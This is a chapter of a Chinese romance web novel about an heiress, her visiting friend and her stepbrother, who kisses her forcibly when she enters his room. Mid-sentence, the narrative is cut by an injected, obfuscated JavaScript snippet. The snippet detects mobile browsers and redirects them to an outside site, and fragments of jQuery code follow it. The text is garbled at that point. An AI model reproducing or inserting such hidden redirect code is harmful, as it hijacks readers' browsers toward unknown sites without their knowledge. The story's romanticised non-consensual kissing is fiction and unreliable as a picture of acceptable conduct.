17. chaper17

作品:《以吻封缄

    这一觉江家所有人都睡的不算怎么安稳。


    当然,这所谓的“不安稳”,除了昨晚在房间一觉睡到大天亮的那位京圈大小姐外。


    次日晌午,林听意被一通电话吵醒。


    她迷迷糊糊地在床头摸索手机,无意识地划开接听键,开了免提搁在耳边,含糊地应了声“喂”。


    “咻——”


    电话那头不知说了什么,下一秒,林听意猛地从床上坐起,迅速换好衣服翻身下床,一边狼狈地提袜子,一边歪着脑袋接电话,连连附和:“对对对,我在家呢,这段时间我可乖了,真没出去鬼混,天天都在学校上课,不信你问徐阿姨。”


    江念云在隔壁房间辗转反侧,一夜未眠。


    听到卧室门外林听意起床的动静,她瞬间想到昨晚刚搬进来的周嘉礼,慌忙从床上爬起来,围上真丝披肩,趿着一双穿反了的拖鞋急急忙忙离开房间,小跑到二楼楼梯处朝客厅和餐厅扫了一圈。


    见他不在,她心里才松了口气。


    俗话说,家丑不外扬。


    如果像以前林听意没转来云起国高时,她或许还会和她多聊一些关于这位继子哥哥的事,毕竟就算说的再多,她没见过他,那些吐槽的玩笑话也不会当真,更不会去深究周嘉礼到底是个什么样的人。


    可现在不一样了,林听意转来了云起,三人在同一个教学楼总会避免不了抬头不见低头见的场合,万一让她知道之前在她面前吐槽的人,就是现在和她搭档的那个帅哥,以她那多疑的性子,难免会觉得她给周嘉礼开了后门,是故意选的他。


    云起学生代表,一个江家千金,一个江家继子,说出去很难不让人怀疑这是假公济私。


    其次,之前大家敬她重她,不过是知道未来云起的接班人除她之外别无选择;如果现在让外界的人都知道了周嘉礼的存在,那大家就会心照不宣地认为,她江念云不过是云起财团发展路上一枚随用随丢的棋子,并无太大作用。


    所以必须要把这件瞒下来。


    起码在她毕业之前,这件事绝对不能让除江家以外的人知道,不然就会被人抓到把柄,推断出她并不被江家重视的事,知道高傲且不可一世的江家大小姐原来是个弃子的事。


    林听意穿戴整齐从房间出来,看见江念云站在旋转楼梯边,诧异地“哎”了一声,开口打趣道:“哟Elowen,你这条大懒虫今天怎么起得比我还早?太阳打西边出来了?”


    江念云拢了拢身上的披肩,笑着回:“今天是我19岁生日,不得起个大早好好迎接一下,讲究点仪式感嘛。”


    林听意想了想,竟觉得没什么不对。


    对于经常跟不上江念云脑回路这件事,她已经习惯的透透的了。


    就像昨天她拿东西砸了舞台承重柱,差点害死了与她做搭档的学生代表,她直到现在都摸不透她为什么会做出那种有损自家集团利益的事,也不知道她到底要图什么,难道就为了看这么一出惊慌失措的大戏吗?


    话虽如此,林听意却足够尊重她,尊重她那些言不由衷的秘密。


    她不会去问,她只会等,等她释怀一切时,以玩笑话的口吻讲述给她听。


    到那时无需她的安慰,彼此间喝口酒,再一笑而过,那些刻骨铭心的事便会淹没在时间的长河里,慢慢被淡忘,直到再也记不起的那天。


    ...


    林听意走过去挽上她胳膊,与她并肩下楼,拖着哭腔哀嚎一声:“刚刚我爸打电话过来,说他和我妈已经从巴厘岛落地京市了,唉,以后又不能常跟你去SOILOUM喝酒了……”


    江念云弯了弯唇角,没说话。


    林听意见她笑,忽然顿住脚步,晃着她的胳膊撒娇:“哎,不然你以后陪我上学呗?”


    “陪你上学?”江念云握着楼梯扶手的手微顿,怔了怔。


    “昂。”小姑娘应得理所应当,“我爸妈在家的话,我就没办法像以前一样逃课了,但云起没有你的话实在太无聊,溜那群人也挺没劲的,不如和你吃个饭、聊聊天有意思。”


    “哦对,我差点忘了和你说——”林听意悄悄凑单江念云耳边,瞟了一眼楼下干活的佣人,压低音量:“主要还有一个原因,我最近打算追那个远近闻名的“高岭之花”,听说挺有意思的,你难道没兴趣和我一起吗?”


    江念云听到她口中的“高岭之花”,好半天才反应过来是谁,眼底闪过一丝诧异,不可置信地问:“你……你要追谢蓁?”


    “你不觉得高岭之花为爱折腰的戏码很有意思吗?”林听意玩味地挑了挑眉,“学校里的人都说他软硬不吃,极其难搞定,等我追到他,就给他甩了,看谁还敢说他难搞定。”


    她伸出手,眸中闪过一丝狡黠,扬唇笑道:“虽然这么说不太地道,但我还是想说——只要我想,所有人都该沦为,为我所用的掌中之物。”


    说完,她放下手,歪头古灵精怪地看向江念云,笑了笑,不以为意道:“这些道理都是徐阿姨教我的,她说这句话适用于这个圈层的一切人与事。”


    江念云握着扶手的指尖猛地收紧,突然愣住了。


    所有人都该沦为,为我所用的掌中之物……吗?


    不愧是在商场摸爬滚打多年的人,这处事风格倒和江建林如出一辙,可悲的是,她正是别人的掌中之物。


    林听意和她终归是不一样的,无论是从身份,到地位、到见识,她都比她高太多太多。


    两人下楼简单吃了个早餐。


    吃完后,江念云在门口目送林听意的轿车离开江家,原本热闹的江家瞬间又恢复了往日的死寂,连空气都透着沉闷。


    送走林听意,江念云回餐厅倒了杯水,身后刘姨擦完酒柜走过来,小心翼翼地试探着问:“小姐,这马上中午了,周少爷还没起床,早餐都热过好几轮了,需要我上去叫他吗?”


    江念云将杯中水一饮而尽,放下杯子时扫了刘姨一眼,蹙眉道:“让他饿死最好。”


    说到这,脑海突然闪过刚刚差点被林听意发现周嘉礼搬进江家的事,她还是觉得现在该找个机会先把话说清楚,以防夜长梦多,无故给彼此带去麻烦。


    他估计他也不想被学校的人知道他们是兄妹,不然真应了那句“不是一家人,不进一家门”。


    思绪收回,江念云话锋一转,找了个借口对刘姨说:“你拿个托盘把早餐放着,他昨天腿受了重伤不方便下来,一会我上楼顺便给他带上去。”


    刘姨对她这一百八十度大转弯的态度感到困惑,但不敢忤逆,只好去厨房拿托盘照做。


    等早餐端出来,江念云放下手机接过餐盘,瞄了眼上面的东西,皱起眉:“我们江家是要破产了吗?你拿这么一碗寒酸的白粥打发他?别到时候他告状到我爸面前,又说是我让你们虐待他的。”


    刘姨:“……”


    刚刚林听意和江念云吃了四人份的早餐。江念云还好,林听意一直夸肉包透油好吃,一个人就吃了三人份,加上家里佣人,如果不是特意留了几个,早上做的手工肉包刚出锅就被抢空了,真不怪她没给人留。


    “白粥怕是不合胃口,那我去给他煮碗清汤面如何,小姐?”她小心翼翼地征询道。


    念及做戏需做全套,江念云重重吐了口气,放下餐盘,不耐烦地应了一声。


    刘姨听到她答应,转身回厨房忙活起来


    站在餐桌边的女生手握着座椅靠背,手指无意识敲击着木头,她一向没耐心等任何事,也没这方面天赋,所以刘姨刚进厨房不久,客厅就没了人影。


    江念云乘电梯径直来到二楼走廊最外侧的房间,站在门口时,她摸出手机瞥了眼锁屏时间,又想起上次在他面前披肩滑落的尴尬,忙拢紧身上的披肩,将露在外面的皮肤裹得严严实实,这才握上门把手,猛地推开,以别墅女主人的姿态厉声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258742|197571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喊道:“周嘉礼!”


    可进到房间的她却未看见任何一人,空荡荡的屋子只有男生的两个行李箱和衣柜里零星的几件换洗衣服,再无其它。


    “周嘉礼?”


    冷调壁纸衬得房间毫无生活气息,江念云忽然想起今早在客厅踹他胸口那一脚,当时她从他粗重的喘息声能很明显听出来那条断掉的腿到底有多疼。


    细细想来,周嘉礼昨天刚做完手术就拖着一条断掉的腿出院,后续没选择继续留院观察和治疗,反而回极易容易感染的家里,他这做法简直和想在家等死没什么区别。


    本就极易感染的腿,又被她踹了一脚,江念云心里有点没底,该不会他周嘉礼真的因为她那一下疼死了吧?


    可死也别死在她家啊!多晦气!


    江家老宅是京市风水最好的地界,单说聚财这一点就灵验得众所周知,早年间经济上行时,多少人抢着要这块地,最后江家以5.4亿拿下,盖了房子世世代代住在这里。


    她又往里走了两步,试探着喊:“周嘉...”


    “滴——”


    “啊!”


    江念云还未完全喊出周嘉礼的名字,手臂突然被一股蛮力攥住往后猛扯,紧紧拢着身体的披肩开始无声滑落,亮堂的房间窗帘自动闭合,屋内瞬间昏暗下来。紧接着,视野范围一阵天旋地转后,她被抵在冰冷透着寒意的门板上,发出一道娇弱的呼痛,让人用吻堵了回去。


    一记重吻,一触即离。


    空气中立刻弥漫开丝丝缕缕、藕断丝连的暧昧气息。


    “下次还记不记得敲门?”


    男生埋在她胸口,将滚烫的呼吸喷洒在她的锁骨之下,那克制的喘息带着笑音一点点从嘴里溢出,他警告她:“记住了,要是再忘记敲门进哥哥房间,这就是下场。”


    可听进被吻懵的女生耳里,那温柔的警告让他那些话一点威慑力都没有。


    江念云后知后觉反应过来刚刚周嘉礼对她做了什么,她抬起手摸了摸自己水光粼粼的唇瓣,猛地推开他,一记巴掌过去,淡漠开口:“周嘉礼,你别让我太看不起你。你们周家人是不是只会用这种下三滥的手段来达到目的?”


    “这是我家,我想进哪个房间就进哪个房间,你...唔...”


    不及她话说完,男生掌着她后脑勺带着股狠劲又吻了下去。


    这次不再是一触即离,而是很重的碾过她的唇瓣,柔软的触感让俩人如浑身过电般酥酥麻麻,他的舌头钻进她的口腔扫过每一处,昏暗的房间角落充斥着让人面红耳赤的亲吻声,和细小到几乎听不见的呻吟与喘息,逼着江念云与他一同沉沦在一刻。


    到后面,江念云甚至忘了挣扎,完完全全沉浸在由周嘉礼主导的这个吻中。


    直至周嘉礼觉得怀里的人真的快喘不过气时,才依依不舍地放开她,板着一张生气严肃的脸,对江念云说:“阿念,这个世界有很多种方式可以跟人沟通,你不要、也不应该像刺猬一样,对身边爱你的人都竖起你的刺,那样会扎到别人,别人心里也会疼,明白吗?”


    江念云心间一颤。


    她眼中闪过一瞬慌乱,但这种慌乱转瞬即逝,很快就被理智压下。


    之后,她冷静下来,透过房间昏暗的光线,直视起他的眼睛,说:“可我无需在意任何人的感受,别人疼不疼,关我屁事?”


    周嘉礼紧盯着她那双无动于衷的眼睛。


    这些年在养尊处优的环境下,江念云品行劣到了骨子里,能说出这种话,实在不足为奇。


    他指腹轻轻擦过她水光粼粼的唇,“可是阿念,你说的话好难听,我不喜欢。”


    “不喜欢你就...唔....”


    又一个缠绵的吻堵住了她那些难听的话。


    “既然你还要说——”吻毕,男生抵着她的额头,发出一道轻笑,“那以后我只好想办法堵住我们阿念的嘴了。”